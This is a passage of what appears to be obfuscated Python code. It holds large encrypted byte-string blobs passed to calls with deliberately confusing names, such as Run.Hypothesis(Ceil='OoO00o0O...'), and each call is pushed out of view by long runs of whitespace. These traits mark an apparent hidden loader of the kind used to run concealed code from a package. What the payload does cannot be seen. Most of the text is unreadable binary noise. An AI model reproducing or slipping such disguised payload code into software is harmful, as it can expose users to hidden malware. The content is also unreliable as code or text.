\xaf(\xd0e\xb3\xfcx\x81\xcfs\xacJ\xc20\xfb\xc4\x92<\xcc/\xa1\xca\xb2\x8b\x9aX:fq\x8f\xa6i\xd5aj\xfeB\xe9\x1bA\xb8#U*\xb8\xa2\x94\x1aN\xd6mI\xa0`\xd1\x16r\xaa/\xbb4\xc5\x13\xee0\xf4U\x94\xbdD^\x87a`\xca\xa2,2M\xa2\x9b\x99\xb7\x17\xeb\xd2\x1cc\xf0\xe1\x1f\xb4\xc3\xf9US\x85p\x951Qh^\x12eg\xc9\xd5w\xcd|\xb9\xaan\xd0\x80|\xd3\x8f\x9b\x9b#6\xc6\xf2i\xe6\xfb*\x97\x9cZ\x0f\xd1\xf6\xc7q\x7f\xd8\xf3\x11H1 \x06]\xcb\xe0Y\x06}\xc4\xabE\x88\x99X\'\x00\xcb\x94\xea\xaeS\xfb6\xa9\xeb\xefk\x04 $\x84f\xc6\x9c\x1f;\xe5H\x0f\x10\x99\xe3r\xe9\x1b\xc3\xfc\xc1\xa0\xd2\xe3\x0cN\x94O)\xf9\x99\xb2:UJ\xdf\x02\x1b\xb1\xd2tx\x07\x9e\x89)\xc4w\xc0\x1f\xaa5\x14\xe4\xe1\r-\xb5\xe4\n\x95\x91B\xe8>\x8a\n\xef\xea\xaa\xba\x8d\xdb\xd2\x1b\xc6\xc9,\xb7S\xf6m\xb6\x11\xf7v6K\xb4_\xee\xad\xd6\xfb@{\x7fx\xb8\x97}\xef3H\xef\xadX\xac\x97?{\xc9\x11PN9\xdf\x97\xac3\xed?w;J4\xb9m\xcb=A|P: \xbc\x9a\x8e\xb0\x9c\x10,E\x878D\xcfA`V\\/\xddY3\xd2\xa9\x08u\xd0\x91\xc6\xca\xf4\x95\x83x]\xdd\x86^(\x9f&\xd9\xbe\xd5U\x19\x9d\x05\xe5)\xf9eR\x85\xf5\x0c\x02\xb1z\x9b\xe0\xf5\xcf\x9cE\x00\xd2\t`N\x81\xa6\xbc\xe3-\xcd\xbe{\xf1\xdc\x95a\xb5W\x06k\x972\x9b\x07\x81\xd6\xbd\xadYI\xa7\xb7\xd2\x02~9\xe9U8\xf1\x1e\x0cK\xa0\xdeB\xac[A\xba{\x91,40\xd5j\x0544\xe9\xc4Y\xd50\x1a\x1dP\x13D\xd7\x87\xf8\x04\x8c8\x0b\x90\xdcE\x99\x98Fy\x15z\xef\x98\x97\x15\x0bs\x90K\x1c\xe1\x93\x04l7CX\xbcd/\xca/\x8b.\xfdK^i\x9af\xf6\x87\xa1\xbeJ\xc1]>\xc9\xc1\xe9\x98\x04\x8b]\xa9\x85\xecie\xbfB#\xbf\xbff\xae\x03\xda\xf3\x03\xd3\xdb\x02\xc1mc\xf5\xb4\xc0\x8c\xaa9\xe5U\x05\xd5\x19\xd5\xd3Z\xe9\x8f\xd0b\xca\xf3\n\xb4\x1f\xe6\xf0L\x98\xdc\xdc\xcc5\x88UO\t\xbc\x0fY\x93\xcc\xe7m\x0e\x8f\xa1\x97\xe7h\x1f\x9e\xe0p\x0b\xd9\x8d&f\xd9\x83\xd9\xc8\xfc\x02\xb5\xc0 N\tx\x0b\xd3\x89\x0bS2\x0e\x90o\xbc\x14.\xaa\xd3\x1aT\xe7*\xdbF\x03\x91\xb3!~l!F\x1b\x7f\t\xe9\xf4\x98H\x18\xa0\x0e\x16\xcc\'\xce\xf5\x15\n\x06\xe1\x13\x1e\x88\x94H\xe0\xf8\xbd\xbbC7\xb0\x7f\x84\xff^\xcb\x95\x07DssM\x824H\xd1\xad\xc0\x86\xc4\x8a,\xf0T!\x1f\x8f\x94.\xd6\xa4ncD\xe0\x16\x13S\x04`\xd6\xac\x07\x19\xbb3\xf3-\x8d\xcd+\xcb\x02\xe4\xa5\x13\xef\x8b{\xd7<2A\xc0@\xd5\x0e\xbf.\xa5`\x9e\xc0\x92\xb1\xbb0\xaa\xa6\x11\xba\xa4\xccXZd\x08\x80M\xcd\xbe\x80\xec\xb0\x0fi\'0\xa0jR0\xdbi22\xcb\xd8\x93\x99\xfc\xda\xe6\x86#\xea\xa5\x869\xe2\xde\xae\xe7\x99\xae\x17\xb7\x0fL\xae\xba\x86\x17(8\xa3P^\x8b\xbfe3l\xd0N_l\x80.\xb1\xa1\x0b+Vc\xb0\x10y\r\xe8\rT\x10\xbd\x9f\x89\xfe\xa1R\xba\xcf\xa6\xd8v\xc4\xbbPf\x83\x03N\x8c\x86\x01\xb3\x9c&m\xcf\xe1G`QHip%\xe2\xd5\x85\xd6\x84R\x8dV\xa2\x02\xee@\xd6\x99"\x19\x02\xc4\xb4@(K\x00\x0fZ(\xb6H\xff\xb6\x9f([\xb0\xb0/\n\xa3\x92egT~\xd1uu\xb7$\xb8\xda\x8a\x0b\x03\xf2?\xe5`\xd7\x0eiY,JV\xc6\xde\x12kc\x10\xfc\x08\xd8\x96\x0b$\xb37\xfaZ\x8eve\x9a\x172\x9c\x15"\xfc\x1esrc\x9a7b?\xbb\xf22\xfb\x93\x02\xb1U\xb3\xb6\xe9\x80\xd3\xf0\x86\xd6}W\x88%X\x05m[\xbcz\xd9\xd4\xac\x95\xe2\xec\x07\xa18]$YN\xd0\xcf\x9e\xd5K\xf7\xd9L\xb658\xbb5f\xfd\xe5F\x89\xba\xf9\xa1\x9c]\xd1\x97\xd9*C\xc1\x05x\x0f\xe9\x81\x11\x89\x04\xa1\xa0K\xa5;\x1b\xde\x05\xcc$\x1c\x84\xb1z\xdb\\X\x95\x88\xdbUu\x9b&\xcc\xdd&v\xc41,9V%m:\xa1\xb2\x00>\xe5\xc8\x1f\x83u0\xc74\x0eD\xd6\x02\x01M\x9bd\x0f\xdc\xbf\xa4R\x94\xd06\x02<\xd2\xcf\t\x1aR7\xf0i\xe3\x96)\xe7\xda\x03\xcaxH\x85\xdb\xad\x97\xee\\f_\x1e\x8d\xff\xe9\x93}3&\x86\xbe\xef\xb4\x9f\n\xb4L\xa7\xe7\x96T\x8b\x9a\n\xa3I\xdd\x86\x90\xa2\xad\x07\xebV\x90\xc8\x07\x11u\x16<\xf2\x1ccr\xf7]K!9\xc4\xbcbT\xf7\xe1\x81l\xaf{8\xef\xd7\xc7\x8fNjh*-lF\xef@\t\x1d\x12\xec\x83]\xa5sWJ\xbdqqB\xf6i\xc9\tT\x99\xcev\xda\xa4\xee\x06\x8d\xd8C\x1f\xef\xa1\x19\xcf\xc8\x87i,ko*A\xd6\x06"A\xfc\xed\xb750 \x92Y\xa0\xedU`\xbb{\xeb\x04c\xf4\x19H\x15i\x8bL\x1e\xd3\x0bG\x18\x04}\x85\x81\xd0QS:\x02b\xdd\xce\xb0\xbb\xa6(S\xf6\xb03\x17\xf5Rog\x86\xcc4\xa2\xe8\x17j\xa6!\xae\r\xe7\xccXU\x17\x93\x02\x07\x8e\xdak\x03\x0eJ\x06\xf8\xcf\x9f\xf9\x83\xbcB~>\xa1D\xdd\x16az\x10\xea\x12\x8b\x07V\xf6\x95uu\x1b&s\xfb\xff\x81\xa6M\x89w.m\x9a>Z\xdf5;\xc4\xaaI\x17\x84\xe7\x10\xc6D\xe4I\x8e\xd0 \x90a\x1e\x80\x0c\x05\xecZ\xa9\xd7\x9d\x90\xa4\xde\x9a\xd5[hL$\xe7o\xa1\xe8M\xd6\xd5\xddp2_)\xac\x7f"\xb36s\x81~\xda\x80?+G\r\x9d\xe2\x91\xc9\xd5@y\xb2j\xa5\x1b\x8c\xc5\x11\xea\xf51~vy$.\x95y\x03|Su_\xc5\xf8\xaa\xf3\x85j\x06\xa8uuwa\xcaI\x90\xf2n\x12\x02\t7\xacf\x9bu!\xb5R*\xdf\x82\xc4\xbc\x95\x1c\x81\xd9\x04\xe0\xf5\x05R5\x15\xfd\xdc\xcf\xfd\xab|5\xdc\xb6co\xa1/s\xe9\xe1\xa5=H\x993\xd8;\xadr]\xdd\x90\x93\xcf\xd8\xdb\xe9\x85Y\xbd!\xa3&|@\x08!\x92\xe6\xb6\x9fN\xf3\x07K\xcc\xe6\x9f\xf7c\x99X^\x0e\xa9\xedYx\x87\n\xb3\xfd\x9b\x93\xfe\x8d\x9c\xf4\xc4H5\x13Z\xaa3\xfe\x9c\xf9\xd1P\x88p\xaf=\x80\xbaL\x9b\xa9\x9a\xd4m#\x8a2B\x90g\x86\x96\x0c\xa0\xab\xcc\xac8T)\r \x8a\x15(0\xe4\xa8p%\x98\xf4\x88rk\xd5J\xdf\xd4\xa7\xdc\xf2 \xb4VD#R\xba\x07\x81\xf1>4\x8c\xaa{;\xb3^\x88\x04\xe26F3v\x0c\xe6\xcd-\xca\xedd\xef\x11+\xb1(\x90}5\x97\xa3\xa2\xa9\xe4\xf7uu7\x08\x0c\xdbR')

        _detectvar._floor(_calculate = 42975 + _detectvar.Calculate)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='OoO00o0O0000ooOooo0OO0o',Builtins=b'f\xec!U\xf2\xa8\x8d,\x0f\x07\xa7`V1G\xc6\xc3\x9f\xc2\xfa\x15\x11\x0b\x04\x1a\x04\xfahuI0\x000\xe1!\xa0T\xf6\xa3\x00\x94\xb0\xed\xc3$5\n\x91\xaa\x9b\x18F\x87\x96c\xb4\xcfL\xa3}\xf5\x8d\x7f\t!\xbd\x1b\x89\x80\x9a\xd8D\xd8\r\xc3\x91\xdd\xe8\x00\x8c\n\x04>\x8cm\xd2\xd3\x0f\x13]\xa1)\x12HR\xe1\xe3M\x81M\xcb\xfaA\x969NEms\xb0\x1e25\xa65\xa9\x1b>\xd8\x95ta\xa3"\xfa\xcd&\xcb$pMhS\x95\xc5\x1bB\xab9\xed\n\x9a\xce\xacC\n\x8di\x9b\xe6]9\xe0\xfaJ}%\x9d\xf6\x8d\xd9\xcdWi\xc7\xb1j%\xd6\xaa\xad,&\x9a\x8d|]\xdd\xf0\xa33\x84\xb4\x8c(\xd0\n\x19\xea\xbay^\xa4\x0b\xc3[j\xb5b\x08\x0b\x04f\xb7\x10\xa1.\xc4\xde&\xfcn\x8e\xe5\xd31\xbcQ\rBw\xaco\x93{\xc8sQ\x8d\xa4\xd3\x83{9A^\xc0A\x1e\xd0\xc2\xf9-\xe8\xae\x9e\xb9\x07l&\x9dO\x1b\xc9\xa5\xebl\xc5\x12\xc0\xd2S\xe3\xad\xa8zY\xc5V\xbc\xaan\x1a0d!*2\xa3\x80\x83\x90\x91\x80\xa2\x0e\x91\xfb\xe8\xca\x08\x83\x99t\xe8\xc8E\x94\x7fam\x95\x19D\xe9B\x9b\x19#\x1d}\x06\xf6\xca\x8c\xc2[rDX\x9b\xbeX\x14\xf4\xab\x8f\xdd\x92\xb0\xe6\xb1NT\xdax\xc4\xcf\xd0\xea\x1eq2jD\xc9\xfd\x0c\xb1\x9b\xb5\xd2\xc6\xfb\xcbQ\xe5O\x11(\t\xea\x7f\x81\xfb\xab\x95z\x9bA25\x13H\xfb\x95\xd9@\x9b@V\xd5\xdb\x01\xc0!`\xb2P%\xbb\x0f+2|\xdfJ\xf9\x98c \x88\x150\x94Y\xb3\x94\x08\xb0\xfcv\xac\x12\x01\t}[\x81#\xda\xa9P\x1f\xc4\xfc\x050\x86C\xa2\xed.f\xa7\xef\xa2\xcd\xab@\xf2\xdf\xa4^\xba3\xc1\xce+\x17\xfd\x16]\x0c\xfc\xd9\t\x06\xf4\xde\xc6`U\xeeyACb\xe5\xdf\x14\xf9\xd9oz\x16\x0c\x81d\xce\x8e\xd5\xb4\x1b\xab\xa9y]\xbd\x80\xd3\xb2\x13`\xdb\xc7}k\x1aS\xa67-\x93\x9d\xf2g#\xd1t\x0b\x8b\xca0k\x1f\xccnu=MhZT<1\xb8\x1ed\xec\xbd\xcd\xfb\x10\x89\x15\x80\x84Vq9\xa5L;+\xd99\x15@\x1c~\tD\x19@N$\x10\x8a\x16\xa6x\xd7\xbf\xb7\x12\x80\xf6\xfa\xc2\x81\x94\xafvA\x89O[\xf1\xfc\xd6p\xc1,}\xa0\xb4]\xf1\xfc\xae\xaa\xdb0\xack\xcf\x18\xea*4\xbfU\xffd#\xfb\xc8\xfe\xe9\xa2\x95\x1e__\x86\x10J\xf4\x9c \xee\x02\x1d\x03\x98(\xf5nU\xbd&\x10\x82\x8ds\x11W3\x0e\x97\xe9\x90\xaa\x04I\xbb\x89\x1c_\xc77\xb0\x88i\xa0\x94\x96\xd5\xd4\x01\x05\xae/\xce\xeaxT \xe3@\x016\xc5,\x90\xc6ZNZRE\xd6\xb8\xdfB\xc5\xfay\xb9|N\xe7p s\x1c<\x18\xf8\x7f\x9a\xb9{\x96\xb5yq\x87ej`\xd4\xfc\x1c\xb9\x92\x9d\x9a\xd4\r)?\x05\xd3\x86\x1c\xbf^9A\xba\xd3\x89\x8a\xa0\tl1\xf9\x14\x00G3\xcd\xbd1B\x93F\x1fz\x99\xb9\xf01\xf6\xba(\xedg\x91Oz\xdbe\xfdb\x11\xd5\x7fy\xa0\x19\x97\xea4`3z\x93\xa4b\xac\xaa\xf7U\x92\xbfa\xc9\xfd6T\xca\xbb\x8f\xd2~p\x04\xde\xcf\x9e\xa9\x8b\x08\xc8\x86\x8a_\x1f\xc9\xae!\x18\xa5@\xb51\xe6\xe8\xc9\xacZ\xba\xf7\x00\x89\x15\xe9\xcc\x19\xe5\xc7\xcfr\x03\xe5\xee\xc7\xe1\x1cna0:\xb8\xfel\x99M\x99\xe7\x94\x96\xdePZ\x11hu\xa2\xd4\xbe\x1a\xb7S\x05\xa5]W7\x9cP\xdc\x16\xa7\x1ed\xf4\x82\xd4\xec\xe7\x17\x17\xc0\xa7\x7f\xd1\x0c\xfd\xe5\xe2\xc5\xc8l\n\xeb\xd0\x15\xb3zic\xc8z\x82\x18\xac\x84CT"\xc6h\xd5J\x1bC.\xba\x98f7Ccn\x8a\x16\xa7^\xb5\xac\x95\xf0\x17\x81\xc0h$\x9b$\xd4\x8d+\xe1/\xab\xea\xb6\x9d\xaa\x98 \xeb)f\n \xc0?\x18\xce\xfb\xf5\xd2\xd6\x0c\xdd\x99\x92h$$\x1c\x9d\xec\x0b\x8c\xdd\xcb\xea6M\x84\xb8\x94\xadeF$-\x94\xa0\x8cx[\x90\xa6.P\x98\x05M;\xc4\xba\xd0Cp\x7f\xb7^\xda\xd85\x91\xe16\x19fv\x88\xd1-Q*\xd9\xe7i`\x1f\xdc\x10\x07R2\x9b\t\xb6\xd5\xdb,*\x8dVg\x91\x16\x1f?R\xf3)\xd3\xe8\xba\xba\xe1B+7y`\xcbS\x1d\x90?\x80 \x99\xf0%@\x9f\xc9p\xdc\xe9r41\x8e\xee\xd8\xcek\xa5?\nx\x1e\xd3\x00B\xb8g\x86\xb9C}\x82\xdd!\x0b\t\xe4K\xbf\xa3\xfc\xe9@\xb5\t\xe4S\x8dg\xe4\x82\xe7]\xa2\xb3\xcdq\xbc\xcf\xea\xa5M=<8\x8fS\xa6\x99\x08\xd3\xe6\x02KC\\/\xfdQ\x80\x8b\xca\x8c\xb8\xfd3\x02\xf4\x1b\xfeC\xec\x08d\x0bo?zd7\xb29u\xdb\xa6.\xbcM\xdc}\xfeW*\xe9oDT\x12\xefx\xa4\xed\xcf*$v]\xddM)\xc7\x96>|\x04>\xe2\x93\xbfB6\x17?6\n\xa1\xd2\x91S\x96u+\x11f.\x80z]\xdd\xa09\xc8\xcc\xe4<2\xb3\xb3Q\xff\xdb\x87\x86\xf5\x1d\xc4\xc5\x99\x12]\xa0\x1e\xad\x87\xf0\xe4xQ\x02\x1a\xb9\x12\xc6j3D#1 ,\xfcD\r\r@\x8d\xd43\x15\x8b!\x81Q\xeb\xc1\xb4\xcb\xea6\xa4a\xda.\x91\x81#\xb6\xf5\x19I\x89\xd6\x80r\xbc\xcf!\xdd;\xa4\xf7\xdb\xe5\xb4\xbfs\x034\xae\x9dI![\xf0\xfc\xe2\xad4#\x80<\xfb\xa8\xf2.\x16\xb0\x07,\xab\xeb\x1fo\xb5|\xfeM\x92A6\xcc\x08a_ \xect\x14Gi\x8efEpWDq\xaf\xe8A\x9c\\\xdc7\xf5l\x98A6$\xde\xb7\x1cj\x16!\x9c\x1a\x03\x1ck\x06\xf6\xdd\xe7\xd7\x90\x96\x81\xfc\xc8]\xdc?\x90(D(D&\x8b\x13\xa4,\xaa\x17\x98\x96>e65\xe1W\xcb\x99\xaa\xde\x91\xd5\x870\xe5\xa7\xf8\x94\x99Q"\x8dGYZ\xf4\x8b(D:\x8c\x89\xf0\xeb\x0b,Y\xc3\x91\x05I\xa0/\xd8\xcb\xd2]l\xa0\x1e%\x88A$\x0e\x82\x18\xcd\x08 \xc4\xa7\xf5R\xef(\t\x1d\xc5-\x13\x88\x98\xa92%_5\xa9\xbb\x89|\xb59\xb1\x8f$\xea\xd1\x04?e\xaa\x9fr\x9d\x10\xdd\xd5\xa2\xb7Z\xcfL\xe6\xdcC:]\x8f\xf3V\xfb$\xbe\x00\xa5\xb0\xcb\x8a5\x18\xa4b4P\xd5\xcav\xaa\x95l\x0c\xb5\xac\xba\x16\x17\x11\xed\x06u1zM\xf9\x08\xd6y\xb1L\xe8\xaf\xf4\xf7\xf2\x1a\xc0\xb4\x92\xdfPHs\x8e*?\xbc\x89k\xa4V\xea\xed"\xb1p?\xa5\x8c\x08=[\xaa\x04\xd5&u7\xe1\x0b\xddRy\t\x90F\xcc\x8d8u\xb2\xb1\xf2\xb8\x14.\xbb\xb6\x11!\xac^\xb6PppZ[Hq!\xb5\xf3\xa7\x9b/]\x80\x8fd\xb3\x91\x10\x9f@\x08J\xc6\xca\xc4\xa3\x14\x89\xf2\xfdT\x93e\x97Z\x8e\xe7q\xb1>\x15\x92\xe0\x9d\x10\xcb\xed&K\xc0G\x0e\xfa#\x12-\xfc\xdfe\x0e\xb6\x9dx\xa3\xed\x88$\x12\x8eX\xee\xc5\xc4\x92(3L\xb3\xba\xdb\xdb\xe0i\x8e\xb0\xd3\x04&\xceh<]\xb4t\x1b\xb7Ln\x18!\xcb\x11ptwm\xec\xf4$\x1f\x14(\xd5{\xf1\xa5\x7f\xbc\xe4\xa8Sl\x7f\xd0\x18\xbd\x1d\xb7\xd6d\xc6*\xb1\xa8\xc3\xc2O\xa6y\x0bW\xd5\xdd\x80\xb7p+\xb1sR@\x0c\x9a\x99$A\x152\xdd~{\x9b\xd5\xc5\xd9\xf9\xf9\xc5\xd9\xd9\x85Y\x9c\xa3\xb7\xdf|\x80\xdf\xdf\xfbVF\xaa\x0bX\x0eB\xad$\xa8[\xb9\xaen0\xc3M\x1e\x87\xc8*\\\x0b\xd9\xd3\xb6\xccr(_\xa0\x00\xbe[\x98\x12\x00\xed\t\xc9\xea@AY(\x08T\xea\xec \xc1\xaa&^\xad\x92\xaf\xee\x1e\\\xbb\x80\xe9IRz\xe5\x0b\x81\xb6aC=\xcb\t2\xc2%\xc6\x80\xb0#I\xc4Zx\x18\xce\x0e\xc0R9\x93_\xa0\xb0\xa1\x04\x10#\xcbl\xcc\x1a\x08$A\x07\x90PR/m\xec<\xce9\\\x8c\t\xe7\x91\xd76\xaf\x97\xfe0.\xc9\xd6\x93\xec\x1d\x9c\xb1q\xf9\xcc~\xf89&4\xa4MG\xa9J\xecG^10\xaf\xab\xdb\xd8\xc0\xcc\xb4\x13\xa7\x00\xd6\x9e\x03[\xcf\x15\x00\xb6\xaf\xf0\x9cO\x8f\x17^\xfd\xaa\x00\xe4\xd8E\xb47\x07T\xfa\x8b\xb0\xa2\x02\x8b\x1a,\xa14\x16>\xa2n_\x93\xba\x1b\xd1\xf6\xf3-\xfc\xc4<\xe1.\n\x1b\xdf\x9b\xdd\xc3K\x97\xac\xe6#\xe9\x04\xa4\r\\\x06\xb0d\x00\x1fR\x8e\xb0\xa7\x02\xe1 \x11\xf6\xf3~\xbdt\x9f5\x11\x0f\x8d\xa4\x85\xf8\xdee\x13\x91\x0ey\x19\xa9W\t\xbb\x1eBT\t\x18\xc4e\xe34\'.rS\xbe\xd1_ \xd9\xab\x0fq\x05H\x19\xc9\xee\xac\x85\xd2W\xadV+Q\x81\x9f?\x0b\x13\xf95g\x03\xc5\x15?.\xf2\x1d8P\x93\x01R\xced(\xa1\xa5\x98$\xb5\x0b2Z\x80\xb0\x0ce\x94\xa9f\x07\xd5\xa6\x9c \xd1^\xd9m:\xce\'\x10qb\x9e~\x8eQ)\xd9\xe2\x84\x85\xf1\x98b\xbb\xa0\x8d\x00\xc5(\x1ao\xe2\xd8\x07\xa4D\xa33/\xdc\x90\x1d`\xac^\xa7c\xcb\xec/(\x1d\rx.*:\xf6\xaa\xbaa\xb3\xd5\x00\x95*\xd0\x9c\x80\xb2\xe0C\xd0\x8cI\x1a\x08\xcap\x85\x89\x1b`\x15$\x97}\xef\x94\x7f#\xccm\x06.\x96R\n\xbc\xda\xadQ\xee\r\xc3\x8c\x0f\x1e\x88\xaa\xf5\xc1\xed\xf2\xbe1:\xb8\xcfD=9\xe2z\xc1\x01EA[\xddjic7\x17m\x1b\xa3\xf3\x12\xd6\x8b\x9f\x89R\xbfR\xea\xf5x\x84\xecT"y\x84\xf8\\\xd6\x89\xec\xdcEv\xae\xab\xbb\x03\xea7/\x8e&\xe7\xa5\xb4\\\x03\x01\x04{\x88;\xe9a|D~C\xe9hb\xc4(\xd7J7\x88\x98H0\x9e\xa5\xc0\xe7\x1e39T\xadtg\x8a\x82\xa6\xfd\xd3q-\x02OE\x1dO\x85\x0c\xac\xab\xdb0"\xb8\x8d\x08\x0c\x1f?\xf72\xc9\\\xa2F%\x8e\xd4Q\xbbJ\x1ci\x18"\xd7\xda\x8cf\xd6c\x8a\x03\xcesJ\rm\xd6z\x01.Y,\x9e\xda\xfa\xe9RP\xb9\xb5}C*,\x93\xa1\x07)\xd9*\x87f\x8d\xd6\x07\xea\x1b|\x0f\x82\x8f\x8b\xa3b\x18G\xe1\xc8w\xeb\xaa\x81\xf2\xe5\x06i\x90e\xba\x87\xf6-\xcc\x9azA\xdb\x99\xcb$\x83a,\xcdF\x12\xcc')

        _detectvar._floor(_calculate = -27765 / _detectvar.Calculate)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='OOOOooOooDOOooDDoD',Builtins=b'\xd1\xed\xd7\x05\xd2@\xdf\xf4\xbc\x07\x17\x17\x17\xe7g\x18\x96j>a\xfd\xdc,\xc0]\xb5\xcf\xf6\x9e\xad\xb4\xc4\x82\x93Ef!\xf0\n%\xa6\x0e\xed\x9c*\xb3u\x04\xa2e\x18\xe5BW\x02\xc4\x0c\x91Q\x11\x00\xc3\x9b\x01\rC\xa6\xbf\xf9\xe5A\x8cE\x14\x16J\xb4\x9d\x86\xcbK\x80\x895\x84g\x0ea-(\xfd\\\xcd\xf6\xeb\xea6\x8d~\xd5\xd6]\x12\xc9\xe9\xff\x81d\xf4\x8dy\x99gS\x8ca\x98a\xd4,\x06\xa1\x05\x10\xfe\x12\xce?\x08>\x9f\x14}@\x19\xa2\x11k\xa5\xde\xd8Vq+\xf7+\x9f\xe2z\xeeV\x18\xc0W\xd5\xddMbs\x9f@\n\xcb\x14\xf1I\xf3\xac\xc6\xbe\x94\xbd;\xc8\x95K\x99U\xc1\xfb\x9aMR\x88\xa4\xec\x12\xefl\xe1c\x185\'\x00\x07\xc6\xd3\x803\x01\xb7\x11\x9cW\xebs\x07\xb4\xe8.gq\xe8\xb1\xea"\xf8\xdaJ\xe9\x8f\xe2\x8f\xfc\x9b\x1d\xa8A\x03C\x07$\xf8!\xb1\xa5\x9d6\xcc\x18\xf2\x86\xdd\x0c\x9fS\xeac\xd9\\#t\x96\x85\xcfj\xbe=-{\x04\x11>C1[\x95Q\x1a\xd5\xa5\x8eQ\x0c@\xa7\x17\xd0\x078.\x07\x18T\xb9\xa9<C\x0e\n\x9c\xce-\x8d\xb6\xb5\xcf\xd5J\xf7!\xec\xe0\xe0\xcc2E \xc6\x05-\xbb\x8dG\x7f\xce\xde\t\x98z\x94]b\x1c\xfdk\xa5\xbb\xb4\xfe\xbfI\\#\xe5T\xc4\\\x8a\x18"\r>\x90+,\xd8w\xc7\xc7$\xeaOL?\x0e\x90\x86t\x94W\xd9%G\x95\xf50\x8e\xf6\xd8\x05\xe7\x82 \x95MZ\xe0\xda\x9aa|3\x04=OAI\x98\xe2:\xac\xeeL\xd1\xda\x8d>^\x18a45\xb2\xc1\xc8H\x1b\x81-O\xe3\xd2z\xd9-\x1d&7\x08\x86E8(1e{\x80\\!^\xd26\x98j\x907\x0cx\xc4\xce\xc1Hs\xe6\x89)\x0e.\x10\xd9#4\t[\xdcbj\xad\xd2@j\xb0M\x10hM\xce!\xd4\x01\xc8\x19\xd8\xdcK\x06`1\x03S\xe9\xd0\x1a\x83\x07d\x0c\x0eri\x9b\x92\xe6\x1a\xb1\x7f\tu\xee\x04;wL\x83c\x0ed\xb9\xb5\\o\x98\xaf\x9e\x85e\xb3\xee\x07\xce!|\x0e\xd0\x12"L\xc7\xabO\xd8\xb0\x04\xf6\n\x89\xdd\xc8\x92K)\x86\xb5U\xf5B\xa6g\x0e\xe0{H\x15\xcb;3\xbd3\xba+%\x9c\x17\x94\xec\x197\x88\r\xd9\xc1\xe8\x9d\x17\xf1\xab\xee\xc9\x90H\x11\xc11\xa5\xdb\x00j:p\xc0\xffL\xb4\x80\x95\xd2\xc6.\xdd\xe2&\xe5\xcc9@\xff\x98\xa2\xb8\x9f\xd5K\xbd\xdd\xf1\xe2J\xd79\xfbt\x0c\x96v\xc7\xaf\xab\xbb\x89-ey\x06\x15:\xdb{\xceck\xfe\xf6\xe4)/\xef\xa4\x1e\xb9\xd3\xd1\x9c\x06&\x0f\xfc\x03\xbb\x07\xe0\xb1\xf7\xfe\x8a\xe1\x18\x1e\xb6\xd5\xd8\xc2c>\x89E\x1d\xac\xab\xfb\xae\xd7\xbcM\xbc\xe8\x92\xd3\xa9$\x7f\xd7\xe9Gz\xa5\xb4\x94\xbd0\xa9\t0-^\xe6\x97tg\xd9\x14\xb5(\xcf_-\xb9k\x105\x0f\xf0\xd4\x88\xa3\xf5\xe2\x1cD\x07\xeb\x19J\xed(\xc7\x9f7\xf5\xb1nJ\xfa(t\xb4\x11r\x98t\x7f&\xd2\xc7J\xe9\x0fb\'7}\xca\x92\x95n/)\x9c"\xfd\x15\x0c\xa4\xf0\t\x11.\xa7\xb4\xee\x8d\xbc\x150\x91\xe4$\x95\x99PB.S\x85\xbc]W7$\x85u+Db\xcbz\xe6\x90\xe1*\xc3\x12\\\x85t\x95>k-\x0cf\t\xd2?Q\xaf\xc8P\x97\xc8&\x12\x86\xe7e\x86\xc1#\xd1QP\xf6\xb8g\xaeVo\x7fiQ\x91\x984\xa5\xb9\xf6\x95\xae\xaa\x17n2+\xe0\xb6\x81\x9d\xbd}\xff\x85\xcbO\xe8\x12\x1f\x08@\x8d\xc9\xbf8\xdd\xca\xa0\tN\xe2M!\xba\xd4\x1c\x1el\x03\xf1j\x15Bn/pD!/\x97r\xdd2\x9a\xd4\r\xd9:\xc2\xd9\xec\x94\xc9vT\xf1\x98\x94\r\xb9ar\xf9\x06M\xcc\xd9g\xd6\xbb~)\xb7\xc7P\xa5\xe6\x94\xc4\x9d\r\xbc[\xfb\x97\x02\xab\x849\x1d\xf0U\xf5\xedU\x0emY\xa8\xf4\xa3E\xda#\xfa:#l\x83\x10\xde\x05skJb6\xf9\xc7[\x8f\xbdwy\xde\x0b\x95\xc3\xacP\x9f\xea\xb7 s\x1e\x05;\x11aa\xfbS\xba\xa2\x02+\x14\xed\xd7\xc2\xf5 O\x14\x04?3\x07\x9a\'\x9b\x11Q!\xa6H\xb6\xca\x13\x8e\x89\xdb\xcb\x83\xc2\xbcNG\xdf\x7fkB\x91\x91\x12\xc2\x8a\x88\xb9\x17\x96k@@\xae\x99Q=\xe1\x1d\xc7\xe6<<\xc2\x13\x965\x08\xc7\x02Wm\x14\x9a/\xce\xf2\xc7\xado\x14a\xb3.\xb1]\x98\x0361|\xd3,\xbc\xc57\xa1h\xec\xaa\x898V\x9f}%\xc2\xad\xab\xdb\xdb0<\x9f\x0c`\xb6\xe9\xde\xcb\xfbac\x0c\xa2\xb2-\x91\xad\xe9\xaa\xa9*D\xae\xf8\x1c\xe3Gb\xc4\x19\xf4\xd8\x11_*\xfb\x11\xdc\xf0\x7f\x03`5qG#F\x15\xb2#\x80czz\xd7\x0c\xac\xfa\xc3\x1a!\x97)\xb8\xc2U\x9b\xa6\x92\xb5Xg\xc0\xc5\x8c\xb8A|#q\nH\x7fp\x9c\xf5\xf3$\x8eJ\x18v\xc8z\xdb\x03\x81\xd5\xc7.\x02g1G\x0b3\x9e\x95\x19\x16\x1a\x837\x11]\x14\xdd\xf4\xf1]\x00\x0c\xf3g\xc8YQ+mj\xe4B \x0fD(\xd2>$\xc3O\xadt\x9f\x81\x10^\x045c\xc2\xe9\x871\xcf\x90Cy\xa8\x9c\xcb}\xeb\\.\xc7\x1c\x051\xd18\xf6\x9d\x02\x8d\xe2\xd0vk2L{\xcc<\x9c\xbe\x99b,_\xc95\xb8\xe7#\x17\x90\\\xf4\xd0?\xbe\x8ag\xb4T\xa3\x15r\x0b\x02\xe2\xd1w\xfc\'\xa1k\xef\xefV\x1bfa\xa2\xf1\xa0\x84\x86\xf8\xde\xf3\xab^\xe4k\x82i 